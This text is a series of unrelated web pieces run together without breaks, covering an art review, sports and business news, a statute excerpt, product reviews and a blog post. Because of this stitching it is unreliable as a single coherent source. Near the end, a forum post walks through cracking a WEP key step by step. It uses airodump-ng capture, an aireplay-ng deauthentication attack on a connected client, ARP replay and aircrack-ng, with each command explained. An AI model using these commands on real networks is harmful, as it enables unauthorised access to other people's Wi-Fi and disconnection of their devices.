"Jack Goldstein x 10,000"
In the 1980s, Jack Goldstein's Photorealist paintings of lightning storms and other luminous phenomena made an indelible impression. Copied from found photographs and impeccably airbrushed by assistants, Goldstein's images of spectacular, ephemeral events (usually against night skies) form the center of this compact yet fascinating survey. These untitled paintings—such as one dated 1983, featuring a stark horizon under green clouds being struck by knots of forked lightning at opposite ends of the canvas—were among the most provocatively beautiful of their time, a period when beauty itself was suspect as a tool of patriarchal repression. But, untouched by the artist's hand, they seemed equally challenging as illustrations of the "death of the author," philosopher Roland Barthes's influential idea that literary texts were cultural constructs rather than transparent instantiations of a writer's intention and biography.
As this may suggest, Goldstein was a charter member of the "Pictures Generation," a group of artists interested in appropriating images from popular culture for deconstructive purposes. Like several of them, he studied at CalArts under John Baldessari. He made forays into Minimalist sculpture and performance art, but a series of short films from the mid-1970s led to his inclusion in curator Douglas Crimp's defining Artists Space exhibition, "Pictures," in 1977. Produced by hired Hollywood professionals, these works sometimes took other moving images as their starting points. Metro-Goldwyn-Mayer (1975), for example, comprises a three-minute sequence of the MGM lion roaring over and over again in a stuttering loop, announcing a movie that never begins. Others stage slightly dopey, unassuming events and infuse them with pregnant hints of story lines. In The Knife (1975), an ordinary table utensil changes color and emotional tenor as, one by one, monochromatic lights play over its surface, starting with a suspenseful bloody red. Art like this, or the artist's vinyl records composed from stock sound effects, appeared to take apart and examine the workings of movies and narrative structures in order to defuse their power. In The Jump, a 1978 film that opens the exhibition, glittering lights fill the isolated silhouette of a diver in motion (taken, it turns out, from Leni Riefenstahl's Nazi epic Olympia), not only creating an enigmatic fragment of transient, if faintly sinister, grace, but also pointing the way to Goldstein's paintings.
His canvases, however, never achieved the critical traction of his films, not even when they appropriated familiar icons, like a 1981 composition that faithfully reproduces Margaret Bourke-White's WWII photo of the bombing of Moscow, the starry sky lit up by flares and rocket trails. In the end, the work was still painting, which starchy academics had declared dead, a moribund zombie that refused to lie down. These days, Goldstein's flawless rendering of fleeting moments captured by photography—often blown up to a cinematic scale—seems entirely up-to-date, a genre-bending essay on how representation operates, and why paintings still possess a compelling magic different from that of other kinds of images. Think of the work of Richard Phillips, say, or Marilyn Minter.
Goldstein's paintings from the late 1980s abandoned photographic sources in favor of computer-generated thermal imaging, looking like intensely hued topographic maps. Despite their seductively baleful glow, critics at the time misinterpreted them as Neo-Geo abstractions. Now they appear prescient, predicting our culture of surveillance, Google Earth and digital scans.
Frustrated, broke and addicted to heroin, Goldstein disappeared from the art world in the 1990s, living in a trailer on the outskirts of Los Angeles, ultimately killing himself in 2003. He completed a final film, Under Water Sea Fantasy (1983–2003), by manipulating the color of nature-documentary footage. The subjects—an erupting volcano, sun-dappled coral reefs, a lunar eclipse—recall his paintings. Sadly, while the effects prove captivating, they hardly make for the trenchant analysis of his earlier work.
In fact, Goldstein seems to have spent much of his last decade working on the 17 photocopied volumes of his Selected Writings (2002), a strange, hermetic collection of phrases and sentences copied from the philosophy books that he avidly read backward. Although it resembles nearly nonsensical concrete poetry, he thought of it as his autobiography. Selected Writings lacks an authentic authorial voice; it speaks in multiple tongues, evoking the "ten thousand Jack Goldsteins" the artist claimed were in any phone book (a notion that lends this exhibition its title). A pioneer of appropriation, Goldstein erased his presence as much as possible from his work, so maybe, as John Kelsey suggests in the show's catalog, this concluding act of polyphonic ventriloquism really is his true story.—Joseph R.

My approach to psychotherapy involves seeing each client as unique with a very personal history. I start by getting to know you - your likes and dislikes, your relationships, how you manage your feelings, your general experiences in life. We will define the problems together, and then we will - together - define your goals for treatment. I use a client-centered approach with a strong emphasis on Rational Emotive Behavior Therapy.

BAY CITY, MI -- Gold Standard Games (formerly Shelti Inc.) has unveiled a novel pool table that offers patrons a choice of traditional two-player games and a new "3Some" option. The latter permits three contestants to play either of two fast-paced games, using a separate set of balls.
The Dual Pool system, licensed from Horizon Games Inc. (Massapequa Park, NY), can vend a set of balls from either side of the table, at different prices if desired. The players select the two- or the three-player ball set when they insert money. According to Horizon's Jed Forman, the electronic payment system also accommodates bonus price levels, promotional and happy hour pricing, time pricing, speed play and free play.
The new Horizon ball system handles two object ball sets with a central chute that has motor-controlled channels for each set. The channels release balls to their respective sides; the channel in play remains open to receive returning balls, after they are pocketed, from the common tracks.
The 3Some games are played with 15 colored object balls in three color-coded sets of five. Play options presently include 5 Ball, a three-player adaptation of classic 8 ball, and "cut throat," at which the winner is the player who has the last ball remaining on the table. Both are said to be "fast, furious and fun."
The Dual Pool table, which will be manufactured and marketed under Gold Standard's Shelti brand, is expected to appeal strongly to locations and operators, as well as players. It is slated to make its formal industry debut in booth No. 1115 at the Amusement Expo from March 20 through 22 at the Las Vegas (NV) Convention Center.
Information on Gold Standard/Shelti games may be found at gold-standard-games.com.
Horizon Games, which offers a variety of conversion kits that upgrade legacy mechanical pool tables for electronic banknote acceptance with enhanced pricing and promotional features, can be contacted by calling (516) 804-3384 or emailing to email@example.com.

Biomedical Nanotechnology
Neelina Malsch Malsch TechnoValuation
Biomedical nanotechnology is one of the fastest-growing fields of research across the globe. However, even the most promising technologies may never realize their full potential if public and political opinions are galvanized against them, a situation clearly evident in such controversial fields as cloning and stem cell research. Biomedical Nanotechnology presents state-of-the-art research in the field and also considers the socio-political risks and perceptions of this important science.
Contributed by prominent experts in this expansive and interdisciplinary field, Biomedical Nanotechnology examines developments in three sub-fields: nanodrugs and drug delivery; prostheses and implants; and diagnostics and screening technologies. The authors compare new capabilities introduced by nanotechnology to traditional methods of release, target, and controlled drug delivery in the body. They also consider the challenge of understanding and controlling the biological processes involved upon implantation and discuss nanoscale sensors for biological chemical detection and biodefense. The book concludes with individual chapters devoted to the social and economic context of nanotechnologies and to their potential risks and possible solutions.
By outlining cutting-edge research in the context of pressing global medical needs and potential risks, this authoritative reference supplies a holistic treatment of biomedical nanotechnology that enables us to understand its implications and decide the best way to move forward.

COLUMBUS, Ohio (AP) -- Evergreen trees from Ohio will soon bring holiday cheer to U.S. military bases in Kuwait.
The Ohio Christmas Tree Association is sending 110 trees overseas as part of an annual effort to brighten the season for service members. The packages of trees containing some ornaments from Ohio schools and churches were expected to arrive around the Thanksgiving holiday.
Operation Evergreen was started by the association in 1995, said Amy Galehouse, the program's coordinator. The idea was born out of an idea from the group's board, which had three members who were veterans. They had conveyed the importance of receiving gifts from home -- even if the items arrived in crumbs.
"So it was set up, and it's specifically for those folks who are so far away from home that they can't be with their families during the Christmas season," she said.
Trees have since gone to U.S. military installations in Iraq, Bosnia, Afghanistan and elsewhere.
The trees typically get displayed in the common areas at the bases, she said. Some go to units, but rarely go to individuals.
Soldiers will send pictures and emails to the volunteers who make the ornaments and decorations for the trees, she said.
About 40 tree growers in the state donated the trees this year, including Galehouse, who operates a tree farm near Akron.
Ohio's Department of Agriculture helped inspect the trees to make sure no bugs or diseases hitched a ride in the packages.
The trees cost about $130 each to ship, Galehouse said. This year, the association is paying for the bill through the help of donations.

§ 2142.
Educational assistance program: eligibility
A program of educational assistance established under this chapter shall provide that any person enlisting or reenlisting in an armed force under the jurisdiction of the Secretary of the military department concerned who meets the eligibility requirements established by the Secretary in accordance with subsection (b) shall, subject to paragraph (3), become entitled to educational assistance under section 2143 of this title at the time of such enlistment.
The period of educational assistance to which such a person becomes entitled is one standard academic year (or the equivalent) for each year of the enlistment of such person, up to a maximum of four years. However, if the person is discharged or otherwise released from active duty after completing two years of the term of such enlistment but before completing the full term of such enlistment (or before completing four years of such term, in the case of an enlistment of more than four years), then the period of educational assistance to which the person is entitled is one standard academic year (or the equivalent) for each year of active service of such person during such term. For the purposes of the preceding sentence, a portion of a year of active service shall be rounded to the nearest month and shall be prorated to a standard academic year.
A member who is discharged or otherwise released from active duty before completing two years of active service of an enlistment which is the basis for entitlement to educational assistance under this chapter or who is discharged or otherwise released from active duty under other than honorable conditions is not entitled to educational assistance under this chapter.
(b) In establishing requirements for eligibility for an educational assistance program under this chapter, the Secretary concerned shall limit eligibility to persons who—
enlist or reenlist for service on active duty as a member of the Army, Navy, Air Force, or Marine Corps after September 30, 1980, and before October 1, 1981;

Monday Morning Quarterback: The Good, The Bad Of Week 6
The Good
The Bad
Chicago BearsNew York Giants
The Bears needed the win quite badly after dropping two games in a row, and Jay Cutler was sharp. He completed 24-of-36 passes for 262 yards with two touchdowns and he did not throw an interception.
It just keeps getting worse for Eli Manning. He threw two early interceptions, one of which Tim Jennings returned for a 48-yard touchdown. Then, as the Giants were trying to take the game in the fourth quarter, Manning's high fourth quarter pass was turned into another interception that cost the Giants the game.
Green Bay PackersBaltimore Ravens
Both quarterbacks put fine numbers on the board. Aaron Rodgers threw for 315 yards and a touchdown, and he seemed to breathe easier because the Packers had a running game. There was nothing wrong with Joe Flacco's 342-yard, 2-TD day. He did not throw any interceptions.
Flacco has to bear some responsibility because he can't let these home games slip away. Great teams with elite quarterbacks find a way to win at home, no matter what. Just ask Tom Brady.
Cincinnati BengalsBuffalo Bills
Andy Dalton helped the Bengals earn their first road win of the season as he threw for 282 yards and three touchdowns. Dalton showed more confidence in this game than he has in recent weeks. Thad Lewis led the Bills' comeback by throwing for 216 yards and two TDs. Not bad for a guy who was just signed this week.
The Bills let their comeback go for naught when they dropped this game in overtime. Lewis looked sharp, but he suffered a sprained foot and that could impact him in the future.
Detroit LionsCleveland Browns
Good teams find a way to win in the second half on the road, and much credit must go to Matthew Stafford who threw for 248 yards and four touchdowns. Brandon Weeden did a nice job in the first half, throwing two TD passes.
Weeden and the Browns struggled in the second half. It seemed like the Browns had some momentum from their play in recent weeks, but Weeden could not find any of that late magic.
St. Louis RamsHouston Texans
Sam Bradford did not put big yardage numbers on the board as he threw for just 117 yards, but he took advantage of his opportunities by throwing three TD passes and keeping it clean in the interception column.
Matt Schaub did not throw an interception that was returned for a touchdown this week, but he suffered a foot injury and was forced out of the game after another ineffective performance. Backup T.J. Yates threw a pair of interceptions, including one that was returned 98 yards for a touchdown.
Kansas City ChiefsOakland Raiders
Terrelle Pryor got the Raiders off to a good start with his 39-yard TD pass to Denarius Moore that allowed the Raiders to take a second-quarter lead. Alex Smith managed the game well and he did not turn the ball over.
Ryan The Chiefs may be 6-0, but what are they going to do when they face a well-rounded and powerful offense like the Denver Broncos. Smith completed 14-of-31 passes for 128 yards and that won't get the job done against the elite teams.
Carolina PanthersMinnesota Vikings
A spectacular bounce-back win for Cam Newton and the Panthers after laying an egg in Phoenix last week. Newton threw for 242 yards and three TDs and he did not throw an interception. Newton also ran for one TD.
Matt Cassel had a chance to make a case for himself as the Vikings starting quarterback, but he came up with a halting effort. He threw two interceptions and just one TD pass.
Pittsburgh SteelersNew York Jets
Ben Roethlisberger had his best game of the year as he led the Steelers to their first victory. He completed 23-of-30 passes for 264 yards and one touchdown.
Geno Smith struggled against the Steelers after a spectacular game against the Falcons the week before. Smith threw for 201 yards, but he threw two interceptions and he did not throw a TD pass.
Philadelphia EaglesTampa Bay Buccaneers
Nick Foles was sensational in his start with the Eagles. He threw for 296 yards and three touchdowns and he did not throw an interception. He made every key throw he needed to make in the second half.
Mike Glennon had decent numbers for the Bucs, as he completed 26-of-43 passes for 273 yards, but he was not able to sustain Tampa Bay's offense in the second half of the game.
Denver BroncosJacksonville Jaguars
Peyton Manning may not have had the kind of numbers that he has put up most of the year, but he led the Broncos to their sixth win of the year. Manning threw for 277 yards and two TDs. Chad Henne threw for 229 yards and helped the Jaguars stay in the game even though they were badly overmatched.
Manning did not have the kind of special performance that has marked each of his previous five games. Even with the noticeable drop-off, the Broncos still pulled away in the second half.
Seattle SeahawksTennessee Titans
Russell Wilson did not have a special game, but he completed 23-of-31 passes for 257 yards and he also ran for 61 yards. He did not throw an interception.
Ryan Fitzpatrick did a decent job of filling in for Jake Locker, but he did not throw a touchdown pass and he tossed two interceptions.
New England PatriotsNew Orleans Saints
It seemed like all seemed lost for the Patriots when Drew Brees threw a stellar fourth-quarter TD pass to Kenny Stills and the Patriots were unable to respond on their next two drives. However, Tom Brady made the Saints pay when he got the ball back a third time and he threw a game-winning TD pass to Kenbrell Thompkins with five seconds left.
While the Saints played much better in the second half, they were fairly inept in the first as Brees threw a TD pass in the first quarter, but was unable to do anything else as the Pats built a 10-point lead.
San Francisco 49ersArizona Cardinals
Colin Kaepernick got back on track as he completed 16-of-29 passes for 252 yards and two TDs as the 49ers garnered an important home win over a division opponent.
Carson Palmer threw for 298 yards and two TDs, but his two interceptions kept the Cardinals from mounting a rally in the second half.
Dallas CowboysWashington Redskins
Tony Romo did not put huge yardage numbers on the board like he did against Denver in Week Five, but he played with confidence. He threw for 170 yards and one TD and looked sharp in leading the Cowboys. While the Redskins lost, Robert Griffin III looked much improved in throwing 246 yards and running for 77 yards.
RGIII may have played with more confidence, but he did not throw any TD passes and the Redskins need much more from him.

NFL executives are dissatisfied with proposals to bring professional football to a downtown Los Angeles stadium, threatening the $1.2 billion project, according to sources.
The league has been in talks with Anschutz Entertainment Group to bring a team back to L.A., but league executives are unhappy with the company's offer, said a source familiar with the negotiations. And the developer hasn't offered an updated proposal in recent months, said the source.
Issues reportedly concern AEG's stake in a NFL team, how much the developer is willing to pay for that stake, and who would control issues such as marketing and licensing at the football stadium.
"No NFL owner would accept the terms proposed (by AEG)," the source told the Daily News.
The developer's proposal to build the stadium downtown hinges on the NFL commitment - the city won't sign off on the project until the developer signs a lease with a football team.
Still, AEG is preparing to unveil Thursday a 10,000 page environmental impact report, which will offer new details on the stadium designed by architecture firm Gensler.
AEG is seeking to build a 76,000 seat stadium near the Harbor (110) Freeway, a structure that would dramatically alter the downtown landscape and the South Park neighborhood.
Moving an existing NFL franchise from another city or putting another franchise in a new market is a complex process involving not only the partial or full sale of an existing team, but also the divvying up of marketing, licensing, and rental monies.
AEG spokesman Michael Roth declined to comment on the negotiations, but pointed to the developer's work on the EIR a document he said cost AEG millions to put together.
"Nothing has stopped our momentum moving forward with the stadium," Roth said.
NFL spokesman Brian McCarthy declined comment.

AUCKLAND, New Zealand (September 2007) — Global vending machine franchisor VTL Group Ltd. reportedly is seeking a buyer after Nathans Finance New Zealand Ltd., a finance company wholly owned by the publicly traded VTL Group, went into receivership. Nathans owed about $103.5 million to 6,000 investors, according to reports published by the New Zealand Herald here.
VTL came under scrutiny when it announced in July that it had reached a deal to sell its U.S. vending business assets, the published reports said.
New Zealand's Registrar of Companies declared the company to be "at risk," required Nathans to place all investment money it received in a trust fund, and ordered VTL to not move any funds without the registrar's approval.
New Zealand's Securities Commission is reported to be investigating the collapse, and The New Zealand Stock Exchange has suspended trading in shares of VTL Group Ltd.
Since Nathan's Finance entered receivership, the vending company reportedly has agreed with the appointed receivers, PricewaterhouseCoopers partners John Waller and Colin McCloy, to attempt to sell all or part of its businesses, including its 24seven and Shop24 brands, as well as its proprietary vending management software and franchise business system, in order to preserve value for investors.
Shop24 is an automated convenience store, and 24seven is a franchising system that enables franchisees to purchase established vending routes in major U.S. markets. Both enterprises make use of VTL's proprietary technology to monitor machines from a central station and enable cashless payments when appropriate.
VTL Group told the news media that it has completed funding arrangements to keep its vending and related businesses operational, pending a sale that would allow the franchisor to continue to operate through such brands as Shop24 and 24seven in Australia, Texas and California.
VTL chairman Gary Stevens said it was in "early days" regarding the sale process, as directors try to work out the underlying value of the businesses.
The majority of the funds raised by Nathans Finance reportedly were lent to VTL Group, but VTL has had trouble repaying its loans and owed Nathans Finance about $110 million, which was due to be repaid by June 30.
According to the Herald, VTL announced on June 8 a change in its reporting date, from June 30 to August 31, thus delaying the release of its financial report by two months.
In July, the vending concern announced that it had reached a deal to sell its 24 seven, Universal Vending Management and Nor Cal business in the U.S. to Bacon Whitney for $67.5 million through a complex transaction that, in effect, would make VTL the majority owner of the buyer. The New Zealand media reported that, under the terms of the deal, VTL also would surrender its 17% stake in Service America, one of the nation's largest independent vending companies, to a party designated by Bacon Whitney.
The proposed sale, however, would allow VTL to franchise its 24seven operations outside North America and continue to supply technology services to Bacon Whitney. VTL also would retain ownership of Shop24 and the right to license technology to non-franchise vending businesses in North America.
The deal reportedly came under scrutiny because Bacon Whitney was created by Halpern Denny, which is also a part owner of Service America. Bacon Whitney would buy the franchise vending assets from Service America, but not its direct vending business.
Adding further complexity to the proposed sale was the fact that John Halpern and George Denny III – founders of Boston-based investment firm Halpern, Denny & Co. – each hold a personal interest in VTL of 9.95%.
Louise Edwards, chief executive of Perpetual Trust, trustee for the debenture stock issued by Nathans Finance, said the firm initially was advised that the transaction would result in a significant cash injection for VTL, "effectively reducing Nathans' loan portfolio exposure to VTL and boosting the company's financial position. But in reality, Bacon Whitney was providing VTL a convertible note to purchase the U.S. assets, not cash, and that Nathans would be funding that transaction," according to the Herald.

Rated 5 out of 5 by Rainygirl81 from Very Happy I was worried about the muffins sticking or not cooking evenly, particularly with the recipe I was making. (Reviews of the recipe indicated some people had had that problem and,the first time I made them, I did too, using another pan.) I did put some non-stick foil at the bottom of the wells to be safe but I don't think I needed it. The muffins baked beautifully and evenly and there was no problem getting them out of the pan. Nor was there any problem with cleaning the pan. Just in case anyone is wondering, this particular recipe had a number of good reviews and the muffins that did turn out OK the first time I made it were really good so I wanted to try again. With this pan, they all turned out well and tasted even better!Date published: 2017-05-12Rated 5 out of 5 by BarbSchaef from Love these muffin pans! So glad I bought these! Easy to take muffins out and washing them is a breeze. Always wanted this size...glad I bought these!Date published: 2016-09-07Rated 5 out of 5 by Bosan from Best Baking Pan For measurement, the wells in this pan will hold 1 full cup of water. Ok, now on to the pan - it is the best bakeware I've ever used. I have the black non-stick, silicone, stoneware and nothing bakes like Goldtouch. The pan browns beautifully and does not stick, even when I make my little egg cups (mini omelets) they just pop right out. Do not hesitate to purchase this product. I plan to donate my current bakeware and start replacing with Goldtouch. I like to get a set for my sister too, who is a great baker. The pan hand washes very well and the wide edges prevent any spills. WONDERFUL PRODUCT. Oh, by the way everything I have baked in this pan has cooked true to the recipe - it helps to have an oven that cooperates with you.Date published: 2015-10-06Rated 5 out of 5 by sewgr8Iam from 'can't have just one!!! Perfect! Baked evenly, good quality metal that's not subject to warping at high temperatures or rust. I've used these for over a year & love them.

Syracuse • It never fails. When Brock Anderson lines up for a field goal or an extra point, he hears opposing teams shout from across the line.
"Watch for the fake, watch for the fake," they say.
They fear he'll just take the snap and run with it, or his accurate arm will find someone in the end zone. Or maybe they just don't know the Syracuse quarterback also was an all-state kicker last year.
"I guess they don't watch warm-ups," Anderson said, shrugging his shoulders.
The problem for opponents is that Anderson can do it all.
As a junior, he was a wide receiver, and he's retained that speed on draws and when he has to roll out of the pocket. He also can sling the ball, throwing for 13 touchdowns this year.
And if those two talents don't take him to the end zone, he always can kick a long field goal. The effect can be disheartening for those who have failed to stop him during the Titans' run to a 5-0 record.
"He's a versatile kid," Syracuse coach Russ Jones said. "He makes great decisions, and he's played so many positions, I think it helps him understand the concepts in our offense. He's really good."
In many ways, Anderson is the quarterback the Titans have been waiting for.
In only its fifth season of football, Syracuse hasn't ever quite had this balance of running and passing. The team returns seniors at just about every skill position. So even though Anderson can throw to Diante Mitchell, Kiwa Mo'o or Jacob Garver, defenses still have to respect the running ability of Mason Woodward, who rushed for more than 800 yards last year.
It also helps to have a defense that grabs interceptions and gets to the quarterback. Syracuse has had the benefit of great field position thanks to the turnovers and stops it's able to get. Special teams also plays a role since Anderson can send kickoffs for touchbacks and Mitchell has been a revelation as a punter with a booming leg.
A 28-14 victory against Davis last week shows how far this unit has come the Titans hadn't beaten the Darts since 2008.
"That felt real good," Woodward said. "It wasn't too close, so yeah, it was a really good win."
It seems that Anderson's best college opportunities will come as a kicker. About 6 feet tall and with a slim frame, he's not the prototypical physical specimen that a lot of colleges look for in a passer.
But watch him play, Jones said. He runs just as well as his receivers, and he can throw just as well when the play breaks down as he can in the pocket. His top quality? He takes care of the football.
Anderson went straight for his coach on the sidelines after he threw his first interception of the year, which came against Davis. He said he wouldn't throw it away again, and Jones believed him.
"I wouldn't count him out or say he's just a kicker in college," Jones said. "A JC or a small school could get a lot out of him at quarterback. If he keeps working on his speed and strength, he could surprise people."
As a team, Syracuse is pushing harder than ever before. An unblemished record and a No. 2 ranking mean little to the Titans, except that they are on the right path. The memories of last season's crushing loss to Fremont keeps them wanting more.
Mitchell knows the desire as badly as anyone. His outstretched arm couldn't quite break the plane as he was stretching out for a touchdown against the Silverwolves.
He's already turned his anguish into motivation. And you can bet the rest of the Titans are following suit.
"To lose by 2 or 3 inches that was hard," Mitchell said. "I promised myself we'd never come up three inches short again. We want a state title."
Twitter: @kylegoon
Syracuse offense rolling along
•The Titans are outscoring opponents by an average of 22 points through five games.
• Quarterback Brock Anderson leads the offense with 13 touchdown passes against only one interception.
• Anderson also has three rushing touchdowns and has kicked four field goals.

9 May 2008: Springfield Illinois, IOUG (Illinois OCLC Users Group) Annual Meeting: My friend from library school and Virtual Reference Coordinator for the Illinois State Library, Natalie invited me to the heartland to enjoy the OCLC news (I had a fascination with OCLC in library school and am much interested in what they do, writing an uncalled for discourse analysis of their members council meetings for fun, etc.)
Three interesting speakers:
1. Bruce Crocco, VP at OCLC talked up some of the recent reports coming out of OCLC: the most recent of which is: Sharing, Privacy, and Trust in our Networked World. It was interesting to note that his daughter (18?) did not want to friend him online—this was mentioned by way of kids not trusting parents to view their profiles. (See also this interesting bit on Facebook privacy: http://www.nytimes.com/2008/05/09/technology/09face.html)
2. Read/Write Web: Web 2.0 Library Applications by Aaron Schmidt. (http://www.libraryjournal.com/article/CA510574.html) Representative thought from this talk: mapping the video game Halo to ACRL information literacy standards—something kind of amusing to think over, if just as a thought experiment.
3. This was good: The Aftermath of the Final Report of the Working Group on the Future of Bibliographic Control at the Library of Congress, a report from Library of Congress Representative Beth Davis Brown. Summary: the report contains an urgency and though in some documents and from some places you will hear people wanting to put the brakes on Resource Description and Access (RDA)—there are joint statements from National Library of Medicine, and Library of Congress, et al., affirming their belief that RDA is important and ongoing, and straight out of the report--they jointly resolve to make RDA work on/for all new technologies with regard to information organization . My question to the catalogers and acquisition types—how do we study RDA in our library? I think it would be great to do tests here at a research library and help out!
p.s. - The email@example.com list-serve is running a new SWOT analysis on the future of controlled vocabulary, very good discourse there.

PUC orders Edison to prepare preliminary engineering studies of Chino Hills undergrounding high-voltage power lines CHINO HILLS -- It will be next year before residents of this city will find out if their battle against Southern California Edison is over.
The state Public Utilities Commission president has ordered Edison to prepare testimony based on preliminary engineering studies of options for running transmission lines underground through this city.
PUC President Michael Peevey is requiring Edison to develop the information by Feb. 28, 2013.
"My objective is to ensure that the PUC moves promptly to develop a complete record with respect to the alternative of putting this line underground in Chino Hills, including the environmental impact of this type of construction. We need a better estimate of the cost based on a detailed engineering design," Peevey said.
"I applaud the efforts of SCE and the City of Chino Hills to explore this alternative through settlement negotiations over the past few months. Those talks have been very helpful in narrowing the scope of the controversy ... I am directing both sides to sharpen their pencils to bring the underground solution into better focus."
The $2.1 billion Tehachapi Renewable Transmission power line project aims to carry wind-generated electricity from Kern County to the Los Angeles Basin.
Edison already has started extending the towers about five miles into the right-of-way.
But city officials and the grassroots group Hope for the Hills have advocated building the project underground or around the city through neighboring Chino Hills State Park.
However, Peevey said the construction through the park has been taken off the table by Edison and the city.
The request for information will allow the PUC to then select, through its final decision in this case, the best solution for the renewable energy transmission line, Peevey said.
"We cannot lose sight of the fact that time is of the essence in getting this line completed and energized by 2015. We must enable the delivery of electric generation over the project on the schedule currently anticipated," he said.
The ruling directs Edison to develop prepared testimony that relies on preliminary engineering to more fully describe and estimate the costs and construction timeline for undergrounding a single-circuit with three cables and a single-circuit with two cables.
"I have excluded the third option, referred to as `underground single-circuit with one cable per phase in conduit in existing Chino Hills right-of-way,' because that option would not supply enough margin under normal and emergency conditions," reads Peevey's ruling.
Chino Hills officials have spent more than $2 million battling Edison in a lawsuit for two years insisting the right-of-way is too narrow for the proposed 198-foot towers and that it causes safety hazards.
A news release from Chino Hills read, "It appears that proceeding to a formal hearing with testimony is the procedure most likely to result in a decision to adopt an underground option for the TRTP line, and the city will participate in that process to the full extent of its abilities and resources."
"The fact that the process continues is positive," City Manager Mike Fleager said.
"At any point in this, the process could be stopped. And we necessarily aren't guaranteed hearings and so on and so forth, so the order from President Peevey to move this forward to a hearing process and it being very focused on a solution is a positive thing."
In response to Peevey's order, Edison spokesman Paul Klein said, "We will comply with the commission's order to file testimony regarding undergrounding options for transmission lines running through the City of Chino Hills."
Construction of the Tehachapi project through Chino Hills has been halted since Nov. 10, when the commission ordered Edison to stop until it presented "feasibility, cost and timing" for five alternative routes. That was complete Jan. 10.
Then on Jan. 25, Edison was ordered, again, to investigate a single-circuit underground scenario.
Edison and city officials entered mediation over the issue. On May 3, the city and Edison went into settlement negotiations on the routing of the 500-kilovolt power lines.
Interested parties may develop and serve prepared testimony to the CPUC, which will undertake review required by the California Environmental Quality Act before issuing a final decision, anticipated in 2013, according to a news release.
Construction work in Chino Hills will not restart until the commission makes its final determination.
"I think that SCE really doesn't understand what they're doing to this community. People's lives are literally on hold. People do not know what to do with their lives, it all hinges on this decision," said Bob Goodwin, President of Hope for the Hills.
Goodwin said he respects the PUC's decision and it appears the commission wants to do the right and proper thing. However, he doesn't understand why it is going to take Edison another eight months to provide verifiable, accurate and believable information.

TOTAL NOOB I AM. I got the keys, connected but no activity, can't go online, browser won't load any page, any ideas on what's going on ? what can I do from here? I wonder if it has anything to do with Mac Filtering? Please help or point to the right resourceHi
I have downloaded the latest BT and finally figured out how to crack a WEP key. Thought i'd post my routine for anyone else who might be having trouble.
BTW, i'm a complete newbie to BT and any Linux related stuff, but will be hoping to change that.
OK, first off some quick info on my specs. Acer Laptop (CeleronM) with built in Atheros 5005 wireless.
1. Fire up Kismet and find the AP you wanna access, sort the listed AP's by using "S" then "C". Then select your AP, hit "Enter" to get any info you may need from it (MAC Address, WEP, Channel etc.) Then press "q" to come out of that details screen, and with my AP select type "L"(capital) which as far as i can see makes your card lock onto that AP.
2. Open a console screen, then enter the following command to launch AiroDump which will "sniff" the packets about you.
Command = "airodump-ng -w capture -c 6 ath0"
OK, "airodump-ng" is the program itself.
"-w capture" Gets it to write the sniffed packets to a file called "capture.cap".
"-c 6" Makes the program ONLY sniff on channel 6.
"ath0" The name of my wireless card.
Leave that running, and keep an eye on the MAC address of your desired AP and the packets/data increasing (the Data is the IV's)
3. Open another console to be used to make AirePlay perform a DE-AUTH attack on a specific machine connected to that AP. This should make that specific machine disconnect and reconnect to the AP, and in the process make it send data to the AP which will include the WEP key.
Command = "aireplay-ng -e DLINK -a 00:11:22:33:44:55 -c 66:77:88:99:00:AA --deauth 10 ath0"
"aireplay-ng" is the program itself
"-e DLINK" is the name of the SSID of the target AP.
"-a 00:11:22:33:44:55" is the MAC address of the target AP.
"-c 66:77:88:99:00:AA" is the MAC address of the target machine connected to that AP (you should be able to find any machines connected to the AP from looking at the info in AiroDump).
"--deauth 10" The type of attack we're performing, in this case it's the DEAUTH attack repeated 10 times.
"ath0" The name of my wireless card.
Have that command ready to go, but don't do it yet.
4. Open another console screen, and again we're going to use AIREPLAY, but this time it's going to capture some packets that might contain any IV data, then keep repeating to pump this info to the AP by "pretending" to be the target machine that the other instance of Aireplay performed the DEAUTH attack on.
Command = "aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h 66:77:88:99:00:AA ath0"
"aireplay-ng" Name of the program.
"--arpreplay" Is the function of aireplay you are trying to perform, in this case it's a replay of a ARP request, which will contain IV data.
"-b 00:11:22:33:44:55" MAC address of the target AP.
"-h 66:77:88:99:00:AA" MAC address of the target machine connected to that AP.
"ath0" Name of my wireless card.
Right, run that command, and you should see it searching for packets.
Fire off the previous command to initiate the DEAUTH attack, then switch back to the aireplay replay screen. And you should see it detect a deauth/discon of a machine, then it capture that packet, and start repeating to pump it back to the AP by pretending to be the target machine.
Flick over to airodump screen, and HOPEFULLY it should have lots of DATA or IV packets coming through.
You can close down the DEAUTH screen of aireplay now, and then let the other one keep replaying that packet until you feel you have enough packets to crack it, or just start the crack whilest more packets keep flooding through.
5. Open the FINAL console screen which will be used to run AirCrack which will scan the captured packets from AiroDump.
Command = "aircrack-ng -f 4 -m 00:11:22:33:44:55 -n 64 capture.cap
"aircrack-ng" Name of the program.
"-f 4" Run the Fudgefactor 4 times (hehe, i have no idea what this is but apparently increase the fudgefactor to have a better chance of finding the key, but will take longer the higher the number".
"-m 00:11:22:33:44:55" MAC address of the target AP, so your not searching packets of AP's that you don't wanna crack.
"-n 64" The amount of bits in the key, in this case it's 64, but theres also 128 etc.
"capture.cap" Name of the capture file being created by AiroDump.
Fire it off, and depending on how quick your machine is, how many IV's you've capped or what bit your key is (in my case only 64) and BINGO! It finds the key.
I tested this on my home AP so i already knew the key, and only used one laptop.
Am sure i've got some terms wrong, or could do it more efficently, but this worked for this newbie, and i'm a very happy chap.
Hope it helps anyone.

I don't know how I missed this story until she was released, but a Michigan woman just spent 11 days in jail for cursing in a courthouse. And she was only released after another judge overruled the first judge, but only on the amount of the bond, not on the actual charges she's facing.
Hours after a circuit court judge ordered the bond for a woman jailed for swearing reduced to the $500 she already paid, LaRue Ford walked out of the Berrien County Jail.
The ACLU filed an emergency appeal to get Ford released from the jail, where she's been since Dec. 18 for cursing in the court clerk's office…
At the request of the ACLU, Circuit Judge Alfred Butzbaugh overruled District Court Judge Dennis Wiley and reduced her bond.
She originally posted $500 (10%) of the $5,000 bond, but had her bond revoked because she was moving to Indiana and had no permanent address…
She admits cursing, but said it was to herself as she left the clerk's office frustrated after getting the runaround while trying to clear up an old traffic ticket. When she returned with $50 to finally clear it up, Judge Dennis Wiley ordered her arrested.
